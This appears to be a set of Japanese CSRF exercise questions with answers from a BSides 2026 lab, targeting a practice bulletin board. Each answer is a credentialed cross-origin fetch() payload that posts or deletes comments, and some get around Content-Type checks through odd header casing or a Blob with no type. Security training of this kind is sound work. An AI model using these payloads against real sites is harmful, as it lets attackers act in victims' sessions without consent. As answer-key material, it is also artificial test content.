Q1
Board 1で、CSRFで外部サイトから掲示板に書き込みを行ってください。
fetch("http://bsides2026.esora.xyz:8000/api/board/●BoardID●/post", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded ; xxxx" },
body:"content=CSRF",
})
Q2
Board 1で、CSRFで外部サイトから掲示板のコメントを削除してください
fetch("http://bsides2026.esora.xyz:8000/api/board/●BoardID●/delete?id=3", {
method: "POST",
credentials: "include",
})
Q3
Board 2で、CSRFで外部サイトから掲示板に書き込みを行ってください
fetch("http://bsides2026.esora.xyz:8001/api/board/55o7z3ao/post", {
method: "POST",
body:"CSRF!",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencodeD" }
})
Q4
Board 2で、Content-Typeがないパターンで書き込みを行ってください
fetch("http://bsides2026.esora.xyz:8001/api/board/55o7z3ao/post", {
method: "POST",
credentials: "include",
body: new Blob(["CSRF Without Content-Type"], {})
})